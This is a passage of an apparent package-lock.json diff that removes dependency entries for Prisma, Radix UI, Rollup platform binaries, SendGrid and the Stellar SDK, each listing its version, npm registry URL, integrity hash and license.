"sha512-AzoATVIgmO3lcZfM443+9SI7+cyLMW2+Psw4op8WQHpHvHCX//CKxv8fwhiL0yGWF8DjdQrFewxrZo5McBdB8g==", - "license": "Apache-2.0" - }, - "node_modules/@prisma/config": { - "version": "7.10.1", - "resolved": "https://registry.npmjs.org/@prisma/config/-/config-7.10.1.tgz", - "integrity": "sha512-+0swF5ELUa3P/9cIR26+gpYjjCbGE0qvEBZhV4zMDkYsrtHjZ884MQbOnWFWXj600N0sSJNnHbtBqe12yDngWg==", - "devOptional": true, - "license": "Apache-2.0", - "dependencies": { - "c12": "3.3.4", - "deepmerge-ts": "8.0.2", - "effect": "3.20.0", - "empathic": "2.0.0" - } - }, - "node_modules/@prisma/debug": { - "version": "7.10.1", - "resolved": "https://registry.npmjs.org/@prisma/debug/-/debug-7.10.1.tgz", - "integrity": "sha512-eFCAkGZ13D/qPg48JBlG5IWi9cSBBOC7oG3abDPcAkYioDWlIjh0YJJLK2J7qo5S+xWWD8I6egAN/8KbCaiMCA==", - "license": "Apache-2.0" - }, - "node_modules/@prisma/dev": { - "version": "0.24.17", - "resolved": "https://registry.npmjs.org/@prisma/dev/-/dev-0.24.17.tgz", - "integrity": "sha512-UvdZzmpFwknnfreh6Jije84ekkYGPYEJhXG1tFzCsCfQyzJifrOo38eZc0qajzvaC6OLUOrN9ML5XfCnEZL9DA==", - "devOptional": true, - "license": "ISC", - "dependencies": { - "@electric-sql/pglite": "0.4.3", - "@electric-sql/pglite-socket": "0.1.3", - "@electric-sql/pglite-tools": "0.3.3", - "@prisma/get-platform": "7.2.0", - "@prisma/query-plan-executor": "7.2.0", - "@prisma/streams-local": "0.1.11", - "find-my-way": "9.7.0", - "foreground-child": "3.3.1", - "get-port-please": "3.2.0", - "pathe": "2.0.3", - "proper-lockfile": "4.1.2", - "remeda": "2.33.4", - "std-env": "3.10.0", - "valibot": "1.4.2", - "zeptomatch": "2.1.0" - } - }, - "node_modules/@prisma/dev/node_modules/std-env": { - "version": "3.10.0", - "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.10.0.tgz", - "integrity": "sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@prisma/driver-adapter-utils": { - "version": "7.10.1", - "resolved": "https://registry.npmjs.org/@prisma/driver-adapter-utils/-/driver-adapter-utils-7.10.1.tgz", - "integrity": "sha512-DJ4c6xvVnm3s9ZUyql9nCUicADSqyvH+CjXRCM9L6m5zJxCNmebCElG6X4irICq3rosBwlX+S19Dxq/4IrZk3A==", - "license": "Apache-2.0", - "dependencies": { - "@prisma/debug": "7.10.1" - } - }, - "node_modules/@prisma/engines": { - "version": "7.10.1", - "resolved": "https://registry.npmjs.org/@prisma/engines/-/engines-7.10.1.tgz", - "integrity": "sha512-R6/ghv1Bu36FhCdQLFof1pNtyoWoeDzJLYeTKjgqb4eGtOAJx7ZqJtcm4pzkahLfZ9rYz8AkmsMDwkyiYbXPCQ==", - "devOptional": true, - "hasInstallScript": true, - "license": "Apache-2.0", - "dependencies": { - "@prisma/debug": "7.10.1", - "@prisma/engines-version": "8.1.0-1.d1b3f377ca835d73fd50954a5e22128b9ebdd6b8", - "@prisma/fetch-engine": "7.10.1", - "@prisma/get-platform": "7.10.1" - } - }, - "node_modules/@prisma/engines-version": { - "version": "8.1.0-1.d1b3f377ca835d73fd50954a5e22128b9ebdd6b8", - "resolved": "https://registry.npmjs.org/@prisma/engines-version/-/engines-version-8.1.0-1.d1b3f377ca835d73fd50954a5e22128b9ebdd6b8.tgz", - "integrity": "sha512-XjXmwjN2NE340RpXoXv8ZF8aNAvr0FE+7gNfkKeW6vyjXs7F8uxvEbWQoVrhioXDQoIsnNmv7r+wxvzfdEZaWA==", - "devOptional": true, - "license": "Apache-2.0" - }, - "node_modules/@prisma/engines/node_modules/@prisma/get-platform": { - "version": "7.10.1", - "resolved": "https://registry.npmjs.org/@prisma/get-platform/-/get-platform-7.10.1.tgz", - "integrity": "sha512-iVnghHne5vcaobBjPVCMEjh5r/1UCj394EIGTUclasFRatpR/MQwcM2veLv5kgoFSyYP54nch/lNFCQRYcDxvg==", - "devOptional": true, - "license": "Apache-2.0", - "dependencies": { - "@prisma/debug": "7.10.1" - } - }, - "node_modules/@prisma/fetch-engine": { - "version": "7.10.1", - "resolved": "https://registry.npmjs.org/@prisma/fetch-engine/-/fetch-engine-7.10.1.tgz", - "integrity": "sha512-qZezeaExLWG2ptbHOrMxdiWluKHgqEclTdJbvY6pk6+Wg7EiVkeq5U3cXz9ti8nd0bngNvsDgledLHVRg5LF1w==", - "devOptional": true, - "license": "Apache-2.0", - "dependencies": { - "@prisma/debug": "7.10.1", - "@prisma/engines-version": "8.1.0-1.d1b3f377ca835d73fd50954a5e22128b9ebdd6b8", - "@prisma/get-platform": "7.10.1" - } - }, - "node_modules/@prisma/fetch-engine/node_modules/@prisma/get-platform": { - "version": "7.10.1", - "resolved": "https://registry.npmjs.org/@prisma/get-platform/-/get-platform-7.10.1.tgz", - "integrity": "sha512-iVnghHne5vcaobBjPVCMEjh5r/1UCj394EIGTUclasFRatpR/MQwcM2veLv5kgoFSyYP54nch/lNFCQRYcDxvg==", - "devOptional": true, - "license": "Apache-2.0", - "dependencies": { - "@prisma/debug": "7.10.1" - } - }, - "node_modules/@prisma/get-platform": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/@prisma/get-platform/-/get-platform-7.2.0.tgz", - "integrity": "sha512-k1V0l0Td1732EHpAfi2eySTezyllok9dXb6UQanajkJQzPUGi3vO2z7jdkz67SypFTdmbnyGYxvEvYZdZsMAVA==", - "devOptional": true, - "license": "Apache-2.0", - "dependencies": { - "@prisma/debug": "7.2.0" - } - }, - "node_modules/@prisma/get-platform/node_modules/@prisma/debug": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/@prisma/debug/-/debug-7.2.0.tgz", - "integrity": "sha512-YSGTiSlBAVJPzX4ONZmMotL+ozJwQjRmZweQNIq/ER0tQJKJynNkRB3kyvt37eOfsbMCXk3gnLF6J9OJ4QWftw==", - "devOptional": true, - "license": "Apache-2.0" - }, - "node_modules/@prisma/query-plan-executor": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/@prisma/query-plan-executor/-/query-plan-executor-7.2.0.tgz", - "integrity": "sha512-EOZmNzcV8uJ0mae3DhTsiHgoNCuu1J9mULQpGCh62zN3PxPTd+qI9tJvk5jOst8WHKQNwJWR3b39t0XvfBB0WQ==", - "devOptional": true, - "license": "Apache-2.0" - }, - "node_modules/@prisma/streams-local": { - "version": "0.1.11", - "resolved": "https://registry.npmjs.org/@prisma/streams-local/-/streams-local-0.1.11.tgz", - "integrity": "sha512-0TcebL559MByKqTJ+SsrFIEg228iw8UCVRFckzgfRSiJqczhs+MuAgWOF9lnOIV/IVqvu+KMnFTH0eDeTQMpUg==", - "devOptional": true, - "license": "Apache-2.0", - "dependencies": { - "ajv": "^8.12.0", - "better-result": "^2.7.0", - "env-paths": "^3.0.0", - "proper-lockfile": "^4.1.2" - }, - "engines": { - "bun": ">=1.2.0", - "node": ">=22.0.0" - } - }, - "node_modules/@prisma/studio-core": { - "version": "0.33.0", - "resolved": "https://registry.npmjs.org/@prisma/studio-core/-/studio-core-0.33.0.tgz", - "integrity": "sha512-V2fX/nKEymNTrHXwfP26PGjoLStO35Ogu+ex7CFJbLrMYEcZxxZpiSNOs7px23Hk5mzLWvM5RsqG6Ka+rha+wg==", - "devOptional": true, - "license": "Apache-2.0", - "dependencies": { - "@radix-ui/react-toggle": "1.1.10", - "@visx/curve": "4.0.1-alpha.0", - "@visx/event": "4.0.1-alpha.0", - "@visx/grid": "4.0.1-alpha.0", - "@visx/group": "4.0.1-alpha.0", - "@visx/responsive": "4.0.1-alpha.0", - "@visx/scale": "4.0.1-alpha.0", - "@visx/shape": "4.0.1-alpha.0", - "d3-array": "3.2.4", - "d3-shape": "3.2.0", - "elkjs": "0.11.1" - }, - "engines": { - "node": "^20.19 || ^22.12 || >=24.0", - "pnpm": "8" - }, - "peerDependencies": { - "@types/react": "^18.0.0 || ^19.0.0", - "react": "^18.0.0 || ^19.0.0", - "react-dom": "^18.0.0 || ^19.0.0" - } - }, - "node_modules/@radix-ui/primitive": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.1.3.tgz", - "integrity": "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@radix-ui/react-compose-refs": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.1.2.tgz", - "integrity": "sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg==", - "devOptional": true, - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-primitive": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.3.tgz", - "integrity": "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@radix-ui/react-slot": "1.2.3" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-slot": { - "version": "1.2.3", - "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", - "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@radix-ui/react-compose-refs": "1.1.2" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-toggle": { - "version": "1.1.10", - "resolved": "https://registry.npmjs.org/@radix-ui/react-toggle/-/react-toggle-1.1.10.tgz", - "integrity": "sha512-lS1odchhFTeZv3xwHH31YPObmJn8gOg7Lq12inrr0+BH/l3Tsq32VfjqH1oh80ARM3mlkfMic15n0kg4sD1poQ==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@radix-ui/primitive": "1.1.3", - "@radix-ui/react-primitive": "2.1.3", - "@radix-ui/react-use-controllable-state": "1.2.2" - }, - "peerDependencies": { - "@types/react": "*", - "@types/react-dom": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", - "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - }, - "@types/react-dom": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-controllable-state": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-controllable-state/-/react-use-controllable-state-1.2.2.tgz", - "integrity": "sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@radix-ui/react-use-effect-event": "0.0.2", - "@radix-ui/react-use-layout-effect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-effect-event": { - "version": "0.0.2", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-effect-event/-/react-use-effect-event-0.0.2.tgz", - "integrity": "sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "@radix-ui/react-use-layout-effect": "1.1.1" - }, - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@radix-ui/react-use-layout-effect": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.1.1.tgz", - "integrity": "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ==", - "devOptional": true, - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, - "node_modules/@rollup/rollup-android-arm-eabi": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.63.2.tgz", - "integrity": "sha512-Xa6RDoWa+hNiX6PgsljlH6W75RaONx3y6PVlbLhkEWW+GaPQ3dP5gwbL/erAzQHWwkvW5UxdD5l87Qx2FAQ/4A==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@rollup/rollup-android-arm64": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.63.2.tgz", - "integrity": "sha512-vNASxsghMfQ5s+v3PrpnJd+ryL/26lxCCaGI+sDJ7VzmHiYXIrrVltsDhaawxLM1WcoMU2oYlbPHLaYQtBzhcg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ] - }, - "node_modules/@rollup/rollup-darwin-arm64": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.63.2.tgz", - "integrity": "sha512-0dWDjmlrpZAgjPD/aPzUDhBW8APLRjAni5bOrM76wiiZm+E+KTMVKNhAzaTBohz8UyO2fKNAl0+fygbe2HZXOA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@rollup/rollup-darwin-x64": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.63.2.tgz", - "integrity": "sha512-N58uktcwzk3+qT4KHEuNdIxX1N01RWrkfVoml69EAbSaNDL+sbNVLx2RMl4Qd23lpA0fgPvyh5hHb4weD5WKmg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ] - }, - "node_modules/@rollup/rollup-freebsd-arm64": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.63.2.tgz", - "integrity": "sha512-HWF2zH8EAp2scWRpt2PGe6iUGz7zi04waXsdRr3zb4DWCk2ImIo5FZu0jjmD53nP/DGSvnW0e7/1ToCNZs2lZw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ] - }, - "node_modules/@rollup/rollup-freebsd-x64": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.63.2.tgz", - "integrity": "sha512-MkvcwHMnzPSMOQEwB6wHnLzmc+hT8BGc5bW/Mhmjjgx3wbj6VBnlc47XsK74kD0K9MikFfXpQqyz4NUXaUW62A==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ] - }, - "node_modules/@rollup/rollup-linux-arm-gnueabihf": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.63.2.tgz", - "integrity": "sha512-xe1bCKPJaKsD0tfd7Rb6bGfUogJTpKbTEEthsfdb7hTfTRNJVQTdirabQx0o6ERVba/smkM720soMY+0QnrlSQ==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm-musleabihf": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.63.2.tgz", - "integrity": "sha512-yOM7LdK0p6gk6+Q773OEwtlsikT1TL3yMmYsTtRlDRPha5vV2DC5x7LqRWDr6f3cSYNMKVqxzffXv8ivxNBIFQ==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm64-gnu": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.63.2.tgz", - "integrity": "sha512-qiWuJJV3DybA2IfzvRimeKXGrGuVPv1zobSY/26KnP3HbV0VcNb3ECzgvtbvF3xjSMkcooou6HASXZuLdjnhpQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-arm64-musl": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.63.2.tgz", - "integrity": "sha512-akcZquRzCY/KpUoZAMBhGf7oi4LmXq1BzRA5CPAC3rkUf28Y/sAYV3jSL+JKd7cwEyFvR5G0XVZ0gaMedP+60A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-loong64-gnu": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.63.2.tgz", - "integrity": "sha512-fNwYHrPyYyxauPzX/cpYw8Z7LQpp+DGA0KCoswA0aVFBpmdMil9XgjB8V3Ny64Ihu797+GKcuJqnsOKEmor7fA==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-loong64-musl": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.63.2.tgz", - "integrity": "sha512-XfvsgzR7DZqREdst7K1Mj3ilSUM5xLAHJcIMDFPKdxTs9q5VHOT8aMA+a683fqBu7DQl8+Sd9HCsQYL8EMY9qA==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-ppc64-gnu": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.63.2.tgz", - "integrity": "sha512-Pp7gVZggEFlbcuztay+/U0gVG9S1XAh8i7I1Re/htbAzo43P5wHZHw6pTyzotISqlKohoh9RpIfnOz3RbemK1w==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-ppc64-musl": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.63.2.tgz", - "integrity": "sha512-zkgL2xff6i7u5hau/m6FGeS8gRkLEdgLw522WGmdWWlLd9btmNl3S80mcEjtGq+kvgUekQ3+BOYLLLcPlS2LIA==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-riscv64-gnu": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.63.2.tgz", - "integrity": "sha512-qOheJomrkVCbbHFJ7L3J97cnhfogKqguAQphv26+3ZsAQIF1L19b+dArl//s8rjJHJLz9byykyM8NBP4nmSa1g==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-riscv64-musl": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.63.2.tgz", - "integrity": "sha512-XlxLD54wQhH3FciCgMofxBw27NzUe818gJH410qWvc41UT0ZFcgxVjyX5/EK8MPTupjeVWqN5oy+9pCA9mqfCA==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-s390x-gnu": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.63.2.tgz", - "integrity": "sha512-vdryWeRb2bLJZf0Fv/W8se6nvsHe2PkTCxV0meheK3nQE+G90VCJcke51Miy1yQRsfm2uqIyjXOu4wmUzbTtkQ==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.63.2.tgz", - "integrity": "sha512-bcq2h2pkKmH2po4cZV8VWzO4lL40STyu/nLoFpYMQp9C2tCVNTdcVv86MwSsn3D5s1FBe2Ty1atqvVAUTMimNg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-linux-x64-musl": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.63.2.tgz", - "integrity": "sha512-EGoo5DMVMRkTId8fuTDaoxVlR5ZTsKULUezRjd9gCw5eeY+DjCvDpZAOlNUvKPGX+7rS1RWx6j+yOpNPx0cUgQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ] - }, - "node_modules/@rollup/rollup-openbsd-x64": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-openbsd-x64/-/rollup-openbsd-x64-4.63.2.tgz", - "integrity": "sha512-MErl12k7BFHZG1TI9QF/3lSSZARzq9KgNy/FjnqFMCkv+N4RSSzoUCA5h2mqHX4Mox3WaTVKblyzhQ1zRb2ZuQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ] - }, - "node_modules/@rollup/rollup-openharmony-arm64": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-openharmony-arm64/-/rollup-openharmony-arm64-4.63.2.tgz", - "integrity": "sha512-ILs8k07Wh4p0PsNY4wYLEaXZKMOpVhrG5QDB0yHhGhuzOfDlnyHN6sflL4El/MpUP1y8uY2lUZrv4oBS6pTT3g==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ] - }, - "node_modules/@rollup/rollup-win32-arm64-msvc": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.63.2.tgz", - "integrity": "sha512-hKgB3nz/TKD3Wv78XEsyXzQsNjvhOHmwKQTvXADGOyU/cIClZDO7DsoggbdmJDPGp5V80tA3Vfv61PaKTLH3LA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-ia32-msvc": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.63.2.tgz", - "integrity": "sha512-T4wf1mudIDxN8Q/CWIBJC1u5gQUc+r5mPvlwoSbIvNkyVTP2TAFeobEmst5AQ4gMyAz4sSByVdoTDfvTmGK/8g==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-x64-gnu": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-gnu/-/rollup-win32-x64-gnu-4.63.2.tgz", - "integrity": "sha512-tC3IY7qoaD9Ll3/8WJQn49j5V2f/NuI9S41NOE2iM5MPs3sPIvOkVToLcz/7Bz4pyF7PSvrtwu8I/pUrGOSecQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@rollup/rollup-win32-x64-msvc": { - "version": "4.63.2", - "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.63.2.tgz", - "integrity": "sha512-6NHnk/K3eq2ZFYcU1X8g67s9qIJRCOTT92gwLMVBp08dB2uuuwI1/Q/empzL2Bfr2f2WRLJVwpp90RmacQyFkw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ] - }, - "node_modules/@sendgrid/client": { - "version": "8.1.6", - "resolved": "https://registry.npmjs.org/@sendgrid/client/-/client-8.1.6.tgz", - "integrity": "sha512-/BHu0hqwXNHr2aLhcXU7RmmlVqrdfrbY9KpaNj00KZHlVOVoRxRVrpOCabIB+91ISXJ6+mLM9vpaVUhK6TwBWA==", - "license": "MIT", - "dependencies": { - "@sendgrid/helpers": "^8.0.0", - "axios": "^1.12.0" - }, - "engines": { - "node": ">=12.*" - } - }, - "node_modules/@sendgrid/helpers": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/@sendgrid/helpers/-/helpers-8.0.0.tgz", - "integrity": "sha512-Ze7WuW2Xzy5GT5WRx+yEv89fsg/pgy3T1E3FS0QEx0/VvRmigMZ5qyVGhJz4SxomegDkzXv/i0aFPpHKN8qdAA==", - "license": "MIT", - "dependencies": { - "deepmerge": "^4.2.2" - }, - "engines": { - "node": ">= 12.0.0" - } - }, - "node_modules/@sendgrid/mail": { - "version": "8.1.6", - "resolved": "https://registry.npmjs.org/@sendgrid/mail/-/mail-8.1.6.tgz", - "integrity": "sha512-/ZqxUvKeEztU9drOoPC/8opEPOk+jLlB2q4+xpx6HVLq6aFu3pMpalkTpAQz8XfRfpLp8O25bh6pGPcHDCYpqg==", - "license": "MIT", - "dependencies": { - "@sendgrid/client": "^8.1.5", - "@sendgrid/helpers": "^8.0.0" - }, - "engines": { - "node": ">=12.*" - } - }, - "node_modules/@standard-schema/spec": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", - "integrity": "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==", - "devOptional": true, - "license": "MIT" - }, - "node_modules/@stellar/js-xdr": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@stellar/js-xdr/-/js-xdr-4.0.0.tgz", - "integrity": "sha512-+NmNa7Tk5BI5XFdy/6xGTqAN4J9a9KgCrCGhj2uEUTCBhLkch0M+QbKzNH8zEnejWe0p8w+0q5hUVX6L3OzoVA==", - "license": "Apache-2.0", - "engines": { - "node": ">=20.0.0", - "pnpm": ">=9.0.0" - } - }, - "node_modules/@stellar/stellar-sdk": { - "version": "16.3.1", - "resolved": "https://registry.npmjs.org/@stellar/stellar-sdk/-/stellar-sdk-16.3.1.tgz", - "integrity": "sha512-PPM1JA51NChSPyMkh+T9sHxJtP/v9e9Gcyc2BMNvnGvbZwqoKJclRSdPgmalLDAmTnTewGs7VMM9nRxDeCzzgQ==", - "license": "Apache-2.0", - "dependencies": { - "@noble/ed25519": "^3.1.0", - "@noble/hashes": "^2.2.0", - "@stellar/js-xdr": "4.0.0", - "axios": "1.18.0", - "base32.js": "^0.1.0", - "bignumber.js": "^11.1.4", - "buffer": "^6.0.3", - "commander": "^14.0.3", - "eventsource": "^4.1.0", - "feaxios": "^0.0.23", - "smol-toml": "^1.6.1", - "uint8array-extras": "^1.5.0" - }, - "bin": { - "stellar-js": "bin/stellar-js" - }, - "engines": { - "node": ">=22.0.0" - } - }, - "node_modules/@stellar/stellar-sdk/node_modules/@noble/hashes": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-2.4.0.tgz", - "integrity": 